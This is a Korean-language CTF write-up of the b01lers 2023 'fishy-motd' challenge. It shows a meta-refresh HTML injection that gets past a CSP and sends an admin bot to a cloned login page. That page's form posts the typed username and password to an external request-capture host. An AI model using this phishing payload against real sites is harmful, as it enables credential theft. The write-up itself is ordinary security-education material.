CTF/b01lers CTF 2023

[Clear] b01ler CTF 2023 fishy-motd writeup

Vardy 2023. 3. 20. 23:31

 

주어진 URL에 접속해보면 메시지를 입력하여 MOTD(Message of the Day 인듯 하다) 를 생성 할 수 있는 입력창이 나타난다.

Create를 하면 Preview와 Deploy가 있는데, Deploy를 하면 봇이 MOTD가 포함된 로그인 페이지에서 자동으로 로그인을 수행하도록 구성되어있다.

Preview같은 경우 봇이 자동 로그인을 할 때 사용하는 페이지를 보여주는 듯 하다. 

또한, 문제의 최종 목적은 로그인을 하여 플래그를 획득 하는 것이다.

server.post('/login', (req, res) => {
    const username = req.body.username;
    const password = req.body.password;

    if (username === user && password === pass) {
        res.send(flag);
    }
    else {
        res.send('Incorrect username or password');
    }
});

 

처음에는 스크립트를 삽입하여 서버가 입력하는 Username 과 Password를 공격자의 서버로 전송하는 스크립트를 실행시킴으로써 계정을 탈취해보려고 시도했다.

하지만 아래와 같이 CSP가 설정되어있어서 스크립트 삽입을 통한 공격은 할 수 없었다.

<meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'self'; form-action 'self'" />

 

따라서, 다른 방법을 찾아보기 위해 봇의 작동 방식을 좀 더 구체적으로 파악해보았다.

const adminBot = async (id) => {
    const browser = await puppeteer.launch({
        headless: true, // Uncomment below if the sandbox is causing issues
        // args: ['--no-sandbox', '--disable-setuid-sandbox', '--single-process']
    })
    const page = await browser.newPage(); # 봇이 브라우저 오픈
    await page.setViewport({ width: 800, height: 600 });
    const url = `http://localhost:${port}/login?motd=${id}`;
    await page.goto(url);
    await page.mouse.click(10, 10); # 피싱 벡터(사용자 입력 값)
    await new Promise(r => setTimeout(r, 1000)); # 1초 대기 후 다른 페이지 넘어간다면 종료
                                                 ## 우회해야할 포인트
    try {
        if (url !== await page.evaluate(() => window.location.href)) {
            return { error: "Hey! Something's fishy here!" };
        }
    } catch (err) {
        return { error: "Hey! Something's fishy here!" };
    }
    await new Promise(r => setTimeout(r, 5000)); # 5초 대기
    await page.mouse.click(420, 280); #
    await page.keyboard.type(user);   # ID 입력
    await page.mouse.click(420, 320); #
    await page.keyboard.type(pass);   # 패스워드 입력
    await page.mouse.click(420, 360); # 로그인 시도
    await new Promise(r => setTimeout(r, 1000));
    await browser.close();
    messages[id] = undefined;
    return { error: null };
}

작성한 주석의 내용처럼 봇이 작동을 하므로, 이를 우회하여 계정 탈취를 할 수 있는 시나리오를 구성해보았다.

 

우선, 봇이 1초동안 대기 후에 다른 페이지로 이동되지 않으면 종료되지 않고 다음 라인을 실행한다.

그 직후 라인이 5초동안 대기 후 ID,PW 입력하여 로그인을 하는 것이므로

문제에서 제공하는 로그인 페이지와 동일한 피싱 페이지를 만들어 1초 이후에 이동 되도록 한다면

봇이 피싱 페이지에서 ID,PW 를 입력하도록 유도함으로써 계정을 탈취 할 수 있을것이다.

 

위 시나리오를 실행하기에 앞서 스크립트 사용이 불가능한 환경에서 일정 시간 후 페이지를 이동시키는 방법이 있을지에 대해 조사해보았다.

입력 값중에 별도 html 태그들에 대한 필터링은 없었기 때문에 조사를 해보다가 meta태그에서 해당 기능을 수행 할 수 있음을 확인하였다.

http://www.tcpschool.com/html-tags/meta

 

코딩교육 티씨피스쿨

4차산업혁명, 코딩교육, 소프트웨어교육, 코딩기초, SW코딩, 기초코딩부터 자바 파이썬 등

tcpschool.com

해당 방법을 사용하기로 하고, 피싱 URL을 구성하였다. UI 가 동일해야하므로 문제 파일에서 style.css와 login.html을 그대로 사용하였고, index.html만 약간 수정하였다.

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta http-equiv="Content-Security-Policy" content="default-src 'none'; style-src 'self'; form-action *" />
        <!-- ##### 데이터를 외부로 전달(requestbin 사용)하기 위해 form-action * 로 변경 -->
    <link rel="stylesheet" href="style.css">
    <title>Login</title>
</head>

<body>
    <nav>
        <span>
            Vardy
        </span>
    </nav>

    <form class="main" action="https://eo8mcjpd1878rcy.m.pipedream.net/" method="post">
    <!-- ##### action 경로 수정 -->
        <div>
            <label for="username">Username:</label>
            <input type="text" id="username" name="username">
        </div>
        <div>
            <label for="password">Password:</label>
            <input type="password" id="password" name="password">
        </div>
        <input type="submit" value="Login" class="button">
    </form>
</body>

</html>

그리고 앞서 언급한 meta tag의 refresh를 이용하여 Bot이 4초뒤 공격자의 피싱 페이지로 리다이렉트 되도록 하였다. 

<meta http-equiv="refresh" content="4;url=http://118.32.182.139:9108/phishing.html">

 

해당 방법이 유효하여 계정 정보를 탈취 할 수 있었고, 이를 활용하여 플래그를 획득 할 수 있었다.

 

FLAG = bctf{ph15h1ng_reel_w1th_0n3_e}

반응형